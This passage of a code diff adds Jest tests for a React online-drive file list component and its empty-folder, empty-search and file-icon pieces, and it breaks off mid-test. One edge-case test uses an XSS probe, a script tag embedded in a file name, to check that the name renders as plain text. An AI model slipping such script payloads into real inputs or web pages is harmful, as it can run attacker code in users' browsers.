+        const props = createDefaultProps({
+          fileList,
+          selectedFileIds: ['file-1', 'file-3'],
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-selected', 'true')
+        expect(screen.getByTestId('item-file-2')).toHaveAttribute('data-selected', 'false')
+        expect(screen.getByTestId('item-file-3')).toHaveAttribute('data-selected', 'true')
+      })
+
+      it('should handle empty selectedFileIds', () => {
+        // Arrange
+        const fileList = createMockFileList(3)
+        const props = createDefaultProps({
+          fileList,
+          selectedFileIds: [],
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        fileList.forEach((file) => {
+          expect(screen.getByTestId(`item-${file.id}`)).toHaveAttribute('data-selected', 'false')
+        })
+      })
+
+      it('should handle all files selected', () => {
+        // Arrange
+        const fileList = createMockFileList(3)
+        const props = createDefaultProps({
+          fileList,
+          selectedFileIds: ['file-1', 'file-2', 'file-3'],
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        fileList.forEach((file) => {
+          expect(screen.getByTestId(`item-${file.id}`)).toHaveAttribute('data-selected', 'true')
+        })
+      })
+    })
+
+    describe('keywords prop', () => {
+      it('should show EmptySearchResult when keywords exist but no results', () => {
+        // Arrange
+        const props = createDefaultProps({
+          fileList: [],
+          keywords: 'search-term',
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('empty-search-result')).toBeInTheDocument()
+      })
+
+      it('should show EmptyFolder when keywords is empty and no files', () => {
+        // Arrange
+        const props = createDefaultProps({
+          fileList: [],
+          keywords: '',
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+      })
+    })
+
+    describe('isLoading prop', () => {
+      it.each([
+        { isLoading: true, fileList: [], keywords: '', expected: 'isAllLoading' },
+        { isLoading: true, fileList: createMockFileList(2), keywords: '', expected: 'isPartialLoading' },
+        { isLoading: false, fileList: [], keywords: '', expected: 'isEmpty' },
+        { isLoading: false, fileList: createMockFileList(2), keywords: '', expected: 'hasFiles' },
+      ])('should render correctly when isLoading=$isLoading with fileList.length=$fileList.length', ({ isLoading, fileList, expected }) => {
+        // Arrange
+        const props = createDefaultProps({ isLoading, fileList })
+
+        // Act
+        const { container } = render(<List {...props} />)
+
+        // Assert
+        switch (expected) {
+          case 'isAllLoading':
+            expect(screen.getByTestId('loading')).toBeInTheDocument()
+            break
+          case 'isPartialLoading':
+            expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+            break
+          case 'isEmpty':
+            expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+            break
+          case 'hasFiles':
+            expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+            break
+        }
+      })
+    })
+
+    describe('supportBatchUpload prop', () => {
+      it('should pass supportBatchUpload true to Item components', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          supportBatchUpload: true,
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-multiple-choice', 'true')
+      })
+
+      it('should pass supportBatchUpload false to Item components', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          supportBatchUpload: false,
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-multiple-choice', 'false')
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    describe('File Selection', () => {
+      it('should call handleSelectFile when selecting a file', () => {
+        // Arrange
+        const handleSelectFile = jest.fn()
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          handleSelectFile,
+        })
+        render(<List {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('item-select-file-1'))
+
+        // Assert
+        expect(handleSelectFile).toHaveBeenCalledWith(fileList[0])
+      })
+
+      it('should call handleSelectFile with correct file data', () => {
+        // Arrange
+        const handleSelectFile = jest.fn()
+        const fileList = [
+          createMockOnlineDriveFile({ id: 'unique-id', name: 'special-file.pdf', size: 5000 }),
+        ]
+        const props = createDefaultProps({
+          fileList,
+          handleSelectFile,
+        })
+        render(<List {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('item-select-unique-id'))
+
+        // Assert
+        expect(handleSelectFile).toHaveBeenCalledWith(
+          expect.objectContaining({
+            id: 'unique-id',
+            name: 'special-file.pdf',
+            size: 5000,
+          }),
+        )
+      })
+    })
+
+    describe('Folder Navigation', () => {
+      it('should call handleOpenFolder when opening a folder', () => {
+        // Arrange
+        const handleOpenFolder = jest.fn()
+        const fileList = [
+          createMockOnlineDriveFile({ id: 'folder-1', name: 'Documents', type: OnlineDriveFileType.folder }),
+        ]
+        const props = createDefaultProps({
+          fileList,
+          handleOpenFolder,
+        })
+        render(<List {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('item-open-folder-1'))
+
+        // Assert
+        expect(handleOpenFolder).toHaveBeenCalledWith(fileList[0])
+      })
+    })
+
+    describe('Reset Keywords', () => {
+      it('should call handleResetKeywords when reset button is clicked', () => {
+        // Arrange
+        const handleResetKeywords = jest.fn()
+        const props = createDefaultProps({
+          fileList: [],
+          keywords: 'search-term',
+          handleResetKeywords,
+        })
+        render(<List {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('reset-keywords-btn'))
+
+        // Assert
+        expect(handleResetKeywords).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup Tests (IntersectionObserver)
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    describe('IntersectionObserver Setup', () => {
+      it('should create IntersectionObserver on mount', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(mockIntersectionObserverInstance?.observe).toHaveBeenCalled()
+      })
+
+      it('should create IntersectionObserver with correct rootMargin', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert - Callback should be set
+        expect(mockIntersectionObserverCallback).toBeDefined()
+      })
+
+      it('should observe the anchor element', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        const { container } = render(<List {...props} />)
+
+        // Assert
+        expect(mockIntersectionObserverInstance?.observe).toHaveBeenCalled()
+        const anchorDiv = container.querySelector('.h-0')
+        expect(anchorDiv).toBeInTheDocument()
+      })
+    })
+
+    describe('IntersectionObserver Callback', () => {
+      it('should call setNextPageParameters when intersecting and truncated', async () => {
+        // Arrange
+        mockIsTruncated.current = true
+        mockCurrentNextPageParametersRef.current = { cursor: 'next-cursor' }
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(true)
+
+        // Assert
+        await waitFor(() => {
+          expect(mockSetNextPageParameters).toHaveBeenCalledWith({ cursor: 'next-cursor' })
+        })
+      })
+
+      it('should not call setNextPageParameters when not intersecting', () => {
+        // Arrange
+        mockIsTruncated.current = true
+        mockCurrentNextPageParametersRef.current = { cursor: 'next-cursor' }
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(false)
+
+        // Assert
+        expect(mockSetNextPageParameters).not.toHaveBeenCalled()
+      })
+
+      it('should not call setNextPageParameters when not truncated', () => {
+        // Arrange
+        mockIsTruncated.current = false
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(true)
+
+        // Assert
+        expect(mockSetNextPageParameters).not.toHaveBeenCalled()
+      })
+
+      it('should not call setNextPageParameters when loading', () => {
+        // Arrange
+        mockIsTruncated.current = true
+        mockCurrentNextPageParametersRef.current = { cursor: 'next-cursor' }
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: true,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(true)
+
+        // Assert
+        expect(mockSetNextPageParameters).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('IntersectionObserver Cleanup', () => {
+      it('should disconnect IntersectionObserver on unmount', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({ fileList })
+        const { unmount } = render(<List {...props} />)
+
+        // Act
+        unmount()
+
+        // Assert
+        expect(mockIntersectionObserverInstance?.disconnect).toHaveBeenCalled()
+      })
+
+      it('should cleanup previous observer when dependencies change', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        const { rerender } = render(<List {...props} />)
+
+        // Act - Trigger re-render with changed isLoading
+        rerender(<List {...props} isLoading={true} />)
+
+        // Assert - Previous observer should be disconnected
+        expect(mockIntersectionObserverInstance?.disconnect).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Tests
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Arrange & Assert
+      // List component should have $$typeof symbol indicating memo wrapper
+      expect(List).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props are equal', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({ fileList })
+      const renderSpy = jest.fn()
+
+      // Create a wrapper component to track renders
+      const TestWrapper = ({ testProps }: { testProps: ListProps }) => {
+        renderSpy()
+        return <List {...testProps} />
+      }
+
+      const { rerender } = render(<TestWrapper testProps={props} />)
+      const initialRenderCount = renderSpy.mock.calls.length
+
+      // Act - Rerender with same props
+      rerender(<TestWrapper testProps={props} />)
+
+      // Assert - Should have rendered again (wrapper re-renders, but memo prevents List re-render)
+      expect(renderSpy.mock.calls.length).toBe(initialRenderCount + 1)
+    })
+
+    it('should re-render when fileList changes', () => {
+      // Arrange
+      const fileList1 = createMockFileList(2)
+      const fileList2 = createMockFileList(3)
+      const props1 = createDefaultProps({ fileList: fileList1 })
+      const props2 = createDefaultProps({ fileList: fileList2 })
+
+      const { rerender } = render(<List {...props1} />)
+
+      // Assert initial state
+      expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      expect(screen.getByTestId('item-file-2')).toBeInTheDocument()
+      expect(screen.queryByTestId('item-file-3')).not.toBeInTheDocument()
+
+      // Act - Rerender with new fileList
+      rerender(<List {...props2} />)
+
+      // Assert - Should show new file
+      expect(screen.getByTestId('item-file-3')).toBeInTheDocument()
+    })
+
+    it('should re-render when selectedFileIds changes', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props1 = createDefaultProps({ fileList, selectedFileIds: [] })
+      const props2 = createDefaultProps({ fileList, selectedFileIds: ['file-1'] })
+
+      const { rerender } = render(<List {...props1} />)
+
+      // Assert initial state
+      expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-selected', 'false')
+
+      // Act
+      rerender(<List {...props2} />)
+
+      // Assert
+      expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-selected', 'true')
+    })
+
+    it('should re-render when isLoading changes', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props1 = createDefaultProps({ fileList, isLoading: false })
+      const props2 = createDefaultProps({ fileList, isLoading: true })
+
+      const { rerender, container } = render(<List {...props1} />)
+
+      // Assert initial state - no loading spinner
+      expect(container.querySelector('.animation-spin')).not.toBeInTheDocument()
+
+      // Act
+      rerender(<List {...props2} />)
+
+      // Assert - loading spinner should appear
+      expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    describe('Empty/Null Values', () => {
+      it('should handle empty fileList array', () => {
+        // Arrange
+        const props = createDefaultProps({ fileList: [] })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+      })
+
+      it('should handle empty selectedFileIds array', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          selectedFileIds: [],
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toHaveAttribute('data-selected', 'false')
+      })
+
+      it('should handle empty keywords string', () => {
+        // Arrange
+        const props = createDefaultProps({
+          fileList: [],
+          keywords: '',
+        })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert - Shows empty folder, not empty search result
+        expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+        expect(screen.queryByTestId('empty-search-result')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Boundary Conditions', () => {
+      it('should handle very long file names', () => {
+        // Arrange
+        const longName = `${'a'.repeat(500)}.txt`
+        const fileList = [createMockOnlineDriveFile({ name: longName })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-name-file-1')).toHaveTextContent(longName)
+      })
+
+      it('should handle special characters in file names', () => {
+        // Arrange
+        const specialName = 'test<script>alert("xss")</script>.txt'
+        const fileList = [createMockOnlineDriveFile({ name: specialName })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-name-file-1')).toHaveTextContent(specialName)
+      })
+
+      it('should handle unicode characters in file names', () => {
+        // Arrange
+        const unicodeName = '文件_📁_ファイル.txt'
+        const fileList = [createMockOnlineDriveFile({ name: unicodeName })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-name-file-1')).toHaveTextContent(unicodeName)
+      })
+
+      it('should handle file with zero size', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile({ size: 0 })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      })
+
+      it('should handle file with undefined size', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile({ size: undefined })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      })
+    })
+
+    describe('Different File Types', () => {
+      it.each([
+        { type: OnlineDriveFileType.file, name: 'document.pdf' },
+        { type: OnlineDriveFileType.folder, name: 'Documents' },
+        { type: OnlineDriveFileType.bucket, name: 'my-bucket' },
+      ])('should render $type type correctly', ({ type, name }) => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile({ id: `item-${type}`, type, name })]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId(`item-item-${type}`)).toBeInTheDocument()
+        expect(screen.getByTestId(`item-name-item-${type}`)).toHaveTextContent(name)
+      })
+
+      it('should handle mixed file types in list', () => {
+        // Arrange
+        const fileList = [
+          createMockOnlineDriveFile({ id: 'file-1', type: OnlineDriveFileType.file, name: 'doc.pdf' }),
+          createMockOnlineDriveFile({ id: 'folder-1', type: OnlineDriveFileType.folder, name: 'Documents' }),
+          createMockOnlineDriveFile({ id: 'bucket-1', type: OnlineDriveFileType.bucket, name: 'my-bucket' }),
+        ]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+        expect(screen.getByTestId('item-folder-1')).toBeInTheDocument()
+        expect(screen.getByTestId('item-bucket-1')).toBeInTheDocument()
+      })
+    })
+
+    describe('Loading States Transitions', () => {
+      it('should transition from loading to empty folder', () => {
+        // Arrange
+        const props1 = createDefaultProps({ isLoading: true, fileList: [] })
+        const props2 = createDefaultProps({ isLoading: false, fileList: [] })
+
+        const { rerender } = render(<List {...props1} />)
+
+        // Assert initial loading state
+        expect(screen.getByTestId('loading')).toBeInTheDocument()
+
+        // Act
+        rerender(<List {...props2} />)
+
+        // Assert
+        expect(screen.queryByTestId('loading')).not.toBeInTheDocument()
+        expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+      })
+
+      it('should transition from loading to file list', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props1 = createDefaultProps({ isLoading: true, fileList: [] })
+        const props2 = createDefaultProps({ isLoading: false, fileList })
+
+        const { rerender } = render(<List {...props1} />)
+
+        // Assert initial loading state
+        expect(screen.getByTestId('loading')).toBeInTheDocument()
+
+        // Act
+        rerender(<List {...props2} />)
+
+        // Assert
+        expect(screen.queryByTestId('loading')).not.toBeInTheDocument()
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      })
+
+      it('should transition from partial loading to loaded', () => {
+        // Arrange
+        const fileList = createMockFileList(2)
+        const props1 = createDefaultProps({ isLoading: true, fileList })
+        const props2 = createDefaultProps({ isLoading: false, fileList })
+
+        const { rerender, container } = render(<List {...props1} />)
+
+        // Assert initial partial loading state
+        expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+
+        // Act
+        rerender(<List {...props2} />)
+
+        // Assert
+        expect(container.querySelector('.animation-spin')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Store State Edge Cases', () => {
+      it('should handle store state with empty next page parameters', () => {
+        // Arrange
+        mockIsTruncated.current = true
+        mockCurrentNextPageParametersRef.current = {}
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(true)
+
+        // Assert
+        expect(mockSetNextPageParameters).toHaveBeenCalledWith({})
+      })
+
+      it('should handle store state with complex next page parameters', () => {
+        // Arrange
+        const complexParams = {
+          cursor: 'abc123',
+          page: 2,
+          metadata: { nested: { value: true } },
+        }
+        mockIsTruncated.current = true
+        mockCurrentNextPageParametersRef.current = complexParams
+        const fileList = createMockFileList(2)
+        const props = createDefaultProps({
+          fileList,
+          isLoading: false,
+        })
+        render(<List {...props} />)
+
+        // Act
+        triggerIntersection(true)
+
+        // Assert
+        expect(mockSetNextPageParameters).toHaveBeenCalledWith(complexParams)
+      })
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { supportBatchUpload: true },
+      { supportBatchUpload: false },
+    ])('should render correctly with supportBatchUpload=$supportBatchUpload', ({ supportBatchUpload }) => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({ fileList, supportBatchUpload })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('item-file-1')).toHaveAttribute(
+        'data-multiple-choice',
+        String(supportBatchUpload),
+      )
+    })
+
+    it.each([
+      { isLoading: true, fileCount: 0, keywords: '', expectedState: 'all-loading' },
+      { isLoading: true, fileCount: 5, keywords: '', expectedState: 'partial-loading' },
+      { isLoading: false, fileCount: 0, keywords: '', expectedState: 'empty-folder' },
+      { isLoading: false, fileCount: 0, keywords: 'search', expectedState: 'empty-search' },
+      { isLoading: false, fileCount: 5, keywords: '', expectedState: 'file-list' },
+    ])('should render $expectedState when isLoading=$isLoading, fileCount=$fileCount, keywords=$keywords',
+      ({ isLoading, fileCount, keywords, expectedState }) => {
+        // Arrange
+        const fileList = createMockFileList(fileCount)
+        const props = createDefaultProps({ fileList, isLoading, keywords })
+
+        // Act
+        const { container } = render(<List {...props} />)
+
+        // Assert
+        switch (expectedState) {
+          case 'all-loading':
+            expect(screen.getByTestId('loading')).toBeInTheDocument()
+            break
+          case 'partial-loading':
+            expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+            break
+          case 'empty-folder':
+            expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+            break
+          case 'empty-search':
+            expect(screen.getByTestId('empty-search-result')).toBeInTheDocument()
+            break
+          case 'file-list':
+            expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+            break
+        }
+      })
+
+    it.each([
+      { selectedCount: 0, expectedSelected: [] },
+      { selectedCount: 1, expectedSelected: ['file-1'] },
+      { selectedCount: 3, expectedSelected: ['file-1', 'file-2', 'file-3'] },
+    ])('should handle $selectedCount selected files', ({ expectedSelected }) => {
+      // Arrange
+      const fileList = createMockFileList(3)
+      const props = createDefaultProps({
+        fileList,
+        selectedFileIds: expectedSelected,
+      })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      fileList.forEach((file) => {
+        const isSelected = expectedSelected.includes(file.id)
+        expect(screen.getByTestId(`item-${file.id}`)).toHaveAttribute('data-selected', String(isSelected))
+      })
+    })
+  })
+
+  // ==========================================
+  // Accessibility Tests
+  // ==========================================
+  describe('Accessibility', () => {
+    it('should have proper container structure', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      const { container } = render(<List {...props} />)
+
+      // Assert - Container should be scrollable
+      const scrollContainer = container.querySelector('.overflow-y-auto')
+      expect(scrollContainer).toBeInTheDocument()
+    })
+
+    it('should allow interaction with reset keywords button in empty search state', () => {
+      // Arrange
+      const handleResetKeywords = jest.fn()
+      const props = createDefaultProps({
+        fileList: [],
+        keywords: 'search-term',
+        handleResetKeywords,
+      })
+
+      // Act
+      render(<List {...props} />)
+      const resetButton = screen.getByTestId('reset-keywords-btn')
+
+      // Assert
+      expect(resetButton).toBeInTheDocument()
+      fireEvent.click(resetButton)
+      expect(handleResetKeywords).toHaveBeenCalled()
+    })
+  })
+})
+
+// ==========================================
+// EmptyFolder Component Tests (using actual component)
+// ==========================================
+describe('EmptyFolder', () => {
+  // Get real component for testing
+  const ActualEmptyFolder = jest.requireActual('./empty-folder').default
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<ActualEmptyFolder />)
+      expect(document.body).toBeInTheDocument()
+    })
+
+    it('should render empty folder message', () => {
+      render(<ActualEmptyFolder />)
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.emptyFolder/)).toBeInTheDocument()
+    })
+
+    it('should render with correct container classes', () => {
+      const { container } = render(<ActualEmptyFolder />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'size-full', 'items-center', 'justify-center')
+    })
+
+    it('should render text with correct styling classes', () => {
+      render(<ActualEmptyFolder />)
+      const textElement = screen.getByText(/datasetPipeline\.onlineDrive\.emptyFolder/)
+      expect(textElement).toHaveClass('system-xs-regular', 'text-text-tertiary')
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(ActualEmptyFolder).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have readable text content', () => {
+      render(<ActualEmptyFolder />)
+      const textElement = screen.getByText(/datasetPipeline\.onlineDrive\.emptyFolder/)
+      expect(textElement.tagName).toBe('SPAN')
+    })
+  })
+})
+
+// ==========================================
+// EmptySearchResult Component Tests (using actual component)
+// ==========================================
+describe('EmptySearchResult', () => {
+  // Get real component for testing
+  const ActualEmptySearchResult = jest.requireActual('./empty-search-result').default
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const onResetKeywords = jest.fn()
+      render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      expect(document.body).toBeInTheDocument()
+    })
+
+    it('should render empty search result message', () => {
+      const onResetKeywords = jest.fn()
+      render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.emptySearchResult/)).toBeInTheDocument()
+    })
+
+    it('should render reset keywords button', () => {
+      const onResetKeywords = jest.fn()
+      render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      expect(screen.getByRole('button')).toBeInTheDocument()
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.resetKeywords/)).toBeInTheDocument()
+    })
+
+    it('should render search icon', () => {
+      const onResetKeywords = jest.fn()
+      const { container } = render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      const svgElement = container.querySelector('svg')
+      expect(svgElement).toBeInTheDocument()
+    })
+
+    it('should render with correct container classes', () => {
+      const onResetKeywords = jest.fn()
+      const { container } = render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'size-full', 'flex-col', 'items-center', 'justify-center', 'gap-y-2')
+    })
+  })
+
+  describe('Props', () => {
+    describe('onResetKeywords prop', () => {
+      it('should call onResetKeywords when button is clicked', () => {
+        const onResetKeywords = jest.fn()
+        render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+        fireEvent.click(screen.getByRole('button'))
+        expect(onResetKeywords).toHaveBeenCalledTimes(1)
+      })
+
+      it('should call onResetKeywords on each click', () => {
+        const onResetKeywords = jest.fn()
+        render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+        const button = screen.getByRole('button')
+        fireEvent.click(button)
+        fireEvent.click(button)
+        fireEvent.click(button)
+        expect(onResetKeywords).toHaveBeenCalledTimes(3)
+      })
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(ActualEmptySearchResult).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have accessible button', () => {
+      const onResetKeywords = jest.fn()
+      render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have readable text content', () => {
+      const onResetKeywords = jest.fn()
+      render(<ActualEmptySearchResult onResetKeywords={onResetKeywords} />)
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.emptySearchResult/)).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// FileIcon Component Tests (using actual component)
+// ==========================================
+describe('FileIcon', () => {
+  // Get real component for testing
+  const ActualFileIcon = jest.requireActual('./file-icon').default
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="test.txt" />,
+      )
+      expect(container).toBeInTheDocument()
+    })
+
+    it('should render bucket icon for bucket type', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.bucket} fileName="my-bucket" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render folder icon for folder type', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.folder} fileName="Documents" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render file type icon for file type', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="document.pdf" />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    describe('type prop', () => {
+      it.each([
+        { type: OnlineDriveFileType.bucket, fileName: 'bucket-name' },
+        { type: OnlineDriveFileType.folder, fileName: 'folder-name' },
+        { type: OnlineDriveFileType.file, fileName: 'file.txt' },
+      ])('should render correctly for type=$type', ({ type, fileName }) => {
+        const { container } = render(
+          <ActualFileIcon type={type} fileName={fileName} />,
+        )
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    describe('fileName prop', () => {
+      it.each([
+        { fileName: 'document.pdf' },
+        { fileName: 'image.png' },
+        { fileName: 'video.mp4' },
+        { fileName: 'audio.mp3' },
+        { fileName: 'code.json' },
+        { fileName: 'readme.md' },
+        { fileName: 'data.xlsx' },
+        { fileName: 'doc.docx' },
+        { fileName: 'slides.pptx' },
+        { fileName: 'unknown.xyz' },
+      ])('should render icon for $fileName', ({ fileName }) => {
+        const { container } = render(
+          <ActualFileIcon type={OnlineDriveFileType.file} fileName={fileName} />,
+        )
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    describe('size prop', () => {
+      it.each(['sm', 'md', 'lg', 'xl'] as const)('should accept size=%s', (size) => {
+        const { container } = render(
+          <ActualFileIcon type={OnlineDriveFileType.file} fileName="test.pdf" size={size} />,
+        )
+        expect(container.firstChild).toBeInTheDocument()
+      })
+
+      it('should default to md size', () => {
+        const { container } = render(
+          <ActualFileIcon type={OnlineDriveFileType.file} fileName="test.pdf" />,
+        )
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    describe('className prop', () => {
+      it('should apply custom className to bucket icon', () => {
+        const { container } = render(
+          <ActualFileIcon type={OnlineDriveFileType.bucket} fileName="bucket" className="custom-class" />,
+        )
+        const svg = container.querySelector('svg')
+        expect(svg).toHaveClass('custom-class')
+      })
+
+      it('should apply className to folder icon', () => {
+        const { container } = render(
+          <ActualFileIcon type={OnlineDriveFileType.folder} fileName="folder" className="folder-custom" />,
+        )
+        const svg = container.querySelector('svg')
+        expect(svg).toHaveClass('folder-custom')
+      })
+    })
+  })
+
+  describe('Icon Type Determination', () => {
+    it('should render bucket icon regardless of fileName', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.bucket} fileName="file.pdf" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render folder icon regardless of fileName', () => {
